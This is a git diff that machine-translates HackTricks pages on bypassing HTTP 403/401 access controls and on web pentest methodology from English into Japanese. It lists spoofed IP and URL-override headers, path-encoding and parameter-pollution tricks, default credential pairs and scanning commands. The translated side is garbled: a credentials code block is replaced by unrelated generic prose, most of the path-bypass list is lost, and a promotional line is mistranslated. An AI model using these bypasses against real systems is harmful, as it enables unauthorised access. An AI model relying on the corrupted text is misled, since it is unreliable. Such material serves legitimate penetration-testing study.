repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 612c5437f..6f93a9db1 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -1,134 +1,139 @@ -# 403 & 401 Bypasses +# 403 & 401 バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、スペイン語で最新の研究が発表される、世界中のハッカーや研究者を引き寄せる高度な技術コンテンツのイベントです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conferenceは、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)です。このイベントは、スペイン語で最新の研究が発表され、世界中のハッカーや研究者を引き寄せる高度な技術コンテンツが提供されます。\ +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} -## HTTP Verbs/Methods Fuzzing +## HTTP動詞/メソッドのファジング -Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` +ファイルにアクセスするために**異なる動詞**を使用してみてください:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -* Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. -* Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used. -* Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful. +* レスポンスヘッダーをチェックして、情報が提供されているかもしれません。たとえば、`Content-Length: 55`という**HEADリクエストへの200レスポンス**は、**HEAD動詞で情報にアクセスできる**ことを意味します。ただし、その情報を抽出する方法をまだ見つける必要があります。 +* `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。 +* **`TRACE`**動詞を使用し、非常に幸運な場合には、**中間プロキシによって追加されたヘッダー**もレスポンスで確認できるかもしれません。 -## HTTP Headers Fuzzing +## HTTPヘッダーのファジング -* **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource. -* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +* Hostヘッダーを任意の値に変更してみてください([ここで機能した例](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))。 +* リソースにアクセスするために[**他のユーザーエージェント**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)を試してみてください。 +* **HTTPヘッダーのファジング**:HTTPプロキシヘッダー、HTTP認証の基本的なNTLMブルートフォース(いくつかの組み合わせのみ)など、さまざまなテクニックを試してみてください。これらすべてを行うために、ツール[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)を作成しました。 - * `X-Originating-IP: 127.0.0.1` - * `X-Forwarded-For: 127.0.0.1` - * `X-Forwarded: 127.0.0.1` - * `Forwarded-For: 127.0.0.1` - * `X-Remote-IP: 127.0.0.1` - * `X-Remote-Addr: 127.0.0.1` - * `X-ProxyUser-Ip: 127.0.0.1` - * `X-Original-URL: 127.0.0.1` - * `Client-IP: 127.0.0.1` - * `True-Client-IP: 127.0.0.1` - * `Cluster-Client-IP: 127.0.0.1` - * `X-ProxyUser-Ip: 127.0.0.1` - * `Host: localhost` +* `X-Originating-IP: 127.0.0.1` +* `X-Forwarded-For: 127.0.0.1` +* `X-Forwarded: 127.0.0.1` +* `Forwarded-For: 127.0.0.1` +* `X-Remote-IP: 127.0.0.1` +* `X-Remote-Addr: 127.0.0.1` +* `X-ProxyUser-Ip: 127.0.0.1` +* `X-Original-URL: 127.0.0.1` +* `Client-IP: 127.0.0.1` +* `True-Client-IP: 127.0.0.1` +* `Cluster-Client-IP: 127.0.0.1` +* `X-ProxyUser-Ip: 127.0.0.1` +* `Host: localhost` - If the **path is protected** you can try to bypass the path protection using these other headers: +**パスが保護されている**場合、次のヘッダーを使用してパス保護をバイパスしてみることができます: - * `X-Original-URL: /admin/console` - * `X-Rewrite-URL: /admin/console` -* If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** -* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response. - * **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. -* **Remove the Host header** and maybe you will be able to bypass the protection. +* `X-Original-URL: /admin/console` +* `X-Rewrite-URL: /admin/console` +* ページが**プロキシの背後にある**場合、プライベート情報にアクセスできないのはプロキシのせいかもしれません。[**HTTPリクエストスマグリング**](../../pentesting-web/http-request-smuggling/) **または** [**ホップバイホップヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用**してみてください。 +* 異なるレスポンスを探すために、[**特殊なHTTPヘッダー**](special-http-headers.md)をファジングしてみてください。 +* **HTTPメソッド**をファジングしながら、**特殊なHTTPヘッダー**をファジングしてみてください。 +* Hostヘッダーを**削除**して、保護をバイパスできるかもしれません。 -## Path **Fuzzing** +## パスのファジング -If _/path_ is blocked: +_/path_ がブロックされている場合: -* Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode) -* Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check -* **Other path bypasses**: - * site.com/secret –> HTTP 403 Forbidden - * site.com/SECRET –> HTTP 200 OK - * site.com/secret/ –> HTTP 200 OK - * site.com/secret/. –> HTTP 200 OK - * site.com//secret// –> HTTP 200 OK - * site.com/./secret/.. –> HTTP 200 OK - * site.com/;/secret –> HTTP 200 OK - * site.com/.;/secret –> HTTP 200 OK - * site.com//;//secret –> HTTP 200 OK - * site.com/secret.json –> HTTP 200 OK (ruby) - * Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations: - * /FUZZsecret - * /FUZZ/secret - * /secretFUZZ -* **Other API bypasses:** - * /v3/users\_data/1234 --> 403 Forbidden - * /v1/users\_data/1234 --> 200 OK - * {“id”:111} --> 401 Unauthriozied - * {“id”:\[111]} --> 200 OK - * {“id”:111} --> 401 Unauthriozied - * {“id”:{“id”:111\}} --> 200 OK - * {"user\_id":"\","user\_id":"\"} (JSON Parameter Pollution) - * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) +* _**/**_**%2e/path**を使用してみてください(アクセスがプロキシによってブロックされている場合、これにより保護がバイパスされる可能性があります)。また、**\_\*\* /%252e\*\*/path**(URLエンコードを2回行う)も試してみてください。 +* **Unicodeバイパス**を試してみてください:_/**%ef%bc%8f**path_(URLエンコードされた文字は「/」のようなものです)のため、エンコードを戻すと_//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません。 +* ** +* {“id”:\[111]} --> 200 OK +* {“id”:111} --> 401 Unauthorized +* {“id”:{“id”:111\}} --> 200 OK +* {"user\_id":"\","user\_id":"\"} (JSON Parameter Pollution) +* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) -## **Protocol version** +## **プロトコルバージョン** -If using HTTP/1.1 **try to use 1.0** or even test if it **supports 2.0**. +HTTP/1.1を使用している場合は、1.0を使用するか、2.0をサポートしているかテストしてみてください。 -## **Other Bypasses** +## **その他のバイパス方法** -* Get the **IP** or **CNAME** of the domain and try **contacting it directly**. -* Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). -* **Change the protocol**: from http to https, or for https to http -* Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. +* ドメインの**IP**または**CNAME**を取得し、直接接続を試みます。 +* 一般的なGETリクエストを送信して、サーバーに**負荷をかけてみてください**([この人がFacebookで成功した方法](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。 +* プロトコルを変更します:httpからhttps、またはhttpsからhttpに変更します。 +* [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**世界的にアクセス可能**だったかどうかを確認します。 -## **Brute Force** +## **ブルートフォース** -* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? -* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. +* **パスワードを推測する**:以下の一般的な資格情報を試してみてください。被害者について何か知っていますか?またはCTFのチャレンジ名ですか? +* [**ブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 基本認証、ダイジェスト認証、NTLM認証を試してみてください。 -{% code title="Common creds" %} +{% code title="一般的な資格情報" %} ```` ``` -admin admin -admin password -admin 1234 -admin admin1234 -admin 123456 -root toor -test test -guest guest +以下は、403と401のバイパスに関する情報です。 + +## 403 Forbiddenバイパス + +### 1. ディレクトリリスティング + +ディレクトリリスティングを使用して、403 Forbiddenエラーを回避できる場合があります。ディレクトリ内のファイルとディレクトリの一覧を表示することで、アクセス制限されたファイルにアクセスできる可能性があります。 + +### 2. ファイル拡張子のバイパス + +ファイルの拡張子を変更することで、403 Forbiddenエラーを回避できる場合があります。サーバーが特定の拡張子を許可している場合、拡張子を変更することでアクセスできる可能性があります。 + +### 3. ディレクトリトラバーサル + +ディレクトリトラバーサル攻撃を使用して、403 Forbiddenエラーを回避できる場合があります。ディレクトリの階層を上がることで、アクセス制限されたディレクトリにアクセスできる可能性があります。 + +## 401 Unauthorizedバイパス + +### 1. デフォルトの認証情報 + +デフォルトの認証情報を使用して、401 Unauthorizedエラーを回避できる場合があります。一部のシステムでは、デフォルトのユーザー名とパスワードを使用してログインできる可能性があります。 + +### 2. パスワードリスト + +パスワードリストを使用して、401 Unauthorizedエラーを回避できる場合があります。一般的なパスワードや一般的なユーザー名と組み合わせを試すことで、ログインできる可能性があります。 + +### 3. ブルートフォース攻撃 + +ブルートフォース攻撃を使用して、401 Unauthorizedエラーを回避できる場合があります。すべての可能なパスワードの組み合わせを試すことで、ログインできる可能性があります。 + +以上が403と401のバイパス方法です。これらの方法を使用して、アクセス制限されたリソースにアクセスできる可能性があります。ただし、これらの方法は合法的なテストや認証を目的として使用する必要があります。 ``` ```` {% endcode %} -## Automatic Tools +## 自動ツール * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) * [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) * [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) -* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) +* [Burp拡張機能 - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される高度な技術コンテンツのイベントであり、世界中のハッカーや研究者を魅了しています。\ +以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} @@ -136,10 +141,10 @@ guest guest ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)です。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 74a14a6b5..8227a493d 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -1,29 +1,28 @@ -# 80,443 - Pentesting Web Methodology +# 80,443 - ウェブのペンテスト方法論
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Basic Info +## 基本情報 -The web service is the most **common and extensive service** and a lot of **different types of vulnerabilities** exists. - -**Default port:** 80 (HTTP), 443(HTTPS) +ウェブサービスは最も**一般的で広範なサービス**であり、さまざまな**種類の脆弱性**が存在します。 +**デフォルトポート:** 80(HTTP)、443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -34,57 +33,54 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` - -### Web API Guidance +### Web API ガイダンス {% content-ref url="web-api-pentesting.md" %} [web-api-pentesting.md](web-api-pentesting.md) {% endcontent-ref %} -## Methodology summary +## 方法論の概要 -> In this methodology we are going to suppose that you are going to a attack a domain (or subdomain) and only that. So, you should apply this methodology to each discovered domain, subdomain or IP with undetermined web server inside the scope. +> この方法論では、ドメイン(またはサブドメイン)を攻撃することを前提としています。したがって、この方法論をスコープ内の各ドメイン、サブドメイン、または未確定のウェブサーバーのIPに適用する必要があります。 -* [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech. - * [ ] Any **known vulnerability** of the version of the technology? - * [ ] Using any **well known tech**? Any **useful trick** to extract more information? - * [ ] Any **specialised scanner** to run (like wpscan)? -* [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information. -* [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS). -* [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**. - * [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -* [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. - * [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -* [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions. -* [ ] **Brute-Force parameters**: Try to **find hidden parameters**. -* [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it. - * [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology/) +* [ ] まず、ウェブサーバーで使用されている**技術**を**特定**します。技術を正常に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。 +* [ ] 使用している技術のバージョンに**既知の脆弱性**はありますか? +* [ ] 既知の技術を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか? +* [ ] 実行する**専門のスキャナー**はありますか(例:wpscan)? +* [ ] **一般的な目的のスキャナー**を実行します。何か見つかるか、興味深い情報が見つかるかわかりません。 +* [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、および**SSL/TLSスキャン**(HTTPSの場合)。 +* [ ] ウェブページを**スパイダリング**します:可能な**ファイル、フォルダ**、および**使用されているパラメータ**をすべて**見つけます**。また、**特別な発見**もチェックします。 +* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずスパイダリングを行ってください。_ +* [ ] **ディレクトリのブルートフォース**:発見されたすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。 +* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、必ずブルートフォースを行ってください。_ +* [ ] **バックアップのチェック**:一般的なバックアップの拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけることができるかテストします。 +* [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を見つけるために試みます。 +* [ ] **ユーザー入力**を受け入れる**すべてのエンドポイント**を**特定**したら、それに関連する**脆弱性**をチェックします。 +* [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology/) -## Server Version (Vulnerable?) +## サーバーバージョン(脆弱性あり?) -### Identify - -Check if there are **known vulnerabilities** for the server **version** that is running.\ -The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +### 特定 +実行しているサーバーの**バージョン**に**既知の脆弱性**があるかどうかを確認します。\ +**レスポンスのHTTPヘッダーとクッキー**は、使用されている**技術**および/または**バージョン**を**特定**するために非常に役立つ場合があります。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、または[**https://builtwith.com/**](https://builtwith.com)**:**のツールも役立つ場合があります。 ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` +**Webアプリケーションのバージョンの脆弱性**を検索するために以下を検索します。 -Search **for** [**vulnerabilities of the web application** **version**](../../generic-methodologies-and-resources/search-exploits.md) - -### **Check if any WAF** +### **WAFのチェック** * [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) * [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) * [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +### Web技術のトリック -Some **tricks** for **finding vulnerabilities** in different well known **technologies** being used: +さまざまなよく知られた技術での脆弱性を見つけるためのいくつかの**トリック**: * [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) * [**Apache**](apache.md) @@ -97,7 +93,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno * [**Golang**](golang.md) * [**GraphQL**](graphql.md) * [**H2 - Java SQL database**](h2-java-sql-database.md) -* [**IIS tricks**](iis-internet-information-services.md) +* [**IISのトリック**](iis-internet-information-services.md) * [**JBOSS**](jboss.md) * [**Jenkins**](broken-reference/) * [**Jira**](jira.md) @@ -106,7 +102,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno * [**Laravel**](laravel.md) * [**Moodle**](moodle.md) * [**Nginx**](nginx.md) -* [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/) +* [**PHP (phpには利用できる興味深いトリックがたくさんあります)**](php-tricks-esp/) * [**Python**](python.md) * [**Spring Actuators**](spring-actuators.md) * [**Symphony**](symphony.md) @@ -118,28 +114,27 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno * [**Wordpress**](wordpress.md) * [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps/) -_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ -If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!). +_同じドメインが、**ポート**、**フォルダ**、**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\ +Webアプリケーションが**以前にリストされたよく知られたテクノロジー**または**その他のテクノロジー**を使用している場合は、**インターネットで新しいトリックを検索**することを忘れないでください(そして私に教えてください!)。 -### Source Code Review +### ソースコードのレビュー -If the **source code** of the application is available in **github**, apart of performing by **your own a White box test** of the application there is **some information** that could be **useful** for the current **Black-Box testing**: +アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を**自分で実行**するだけでなく、現在の**ブラックボックステスト**に役立つ**情報**があります。 -* Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web? -* How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)? -* Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used? -* Is it using any **master key** for encrypting something? Which **algorithm** is used? -* Can you **access any of these files** exploiting some vulnerability? -* Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)? +* **変更ログまたはReadmeまたはバージョン**ファイル、またはウェブ経由でアクセス可能なバージョン情報があるかどうか +* **資格情報**はどこに保存されていますか?アクセス可能な(?)資格情報(ユーザー名またはパスワード)のある**ファイル**はありますか? +* **パスワード**は**平文**、**暗号化**されていますか、またはどの**ハッシュアルゴリズム**が使用されていますか? +* 何かを暗号化するための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか? +* いくつかの脆弱性を悪用してこれらのファイルの**いずれかにアクセス**できますか? +* githubの(解決済みおよび未解決の)**問題**には興味深い情報がありますか?または**コミット履歴**に(古いコミットにパスワードが入力されているかもしれない)何かがありますか? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) {% endcontent-ref %} -### Automatic scanners - -#### General purpose automatic scanners +### 自動スキャナー +#### 一般的な目的の自動スキャナー ```bash nikto -h whatweb -a 4 @@ -148,64 +143,60 @@ W3af zaproxy #You can use an API nuclei -ut && nuclei -target ``` +#### CMSスキャナー -#### CMS scanners - -If a CMS is used don't forget to **run a scanner**, maybe something juicy is found: - -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **or** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** 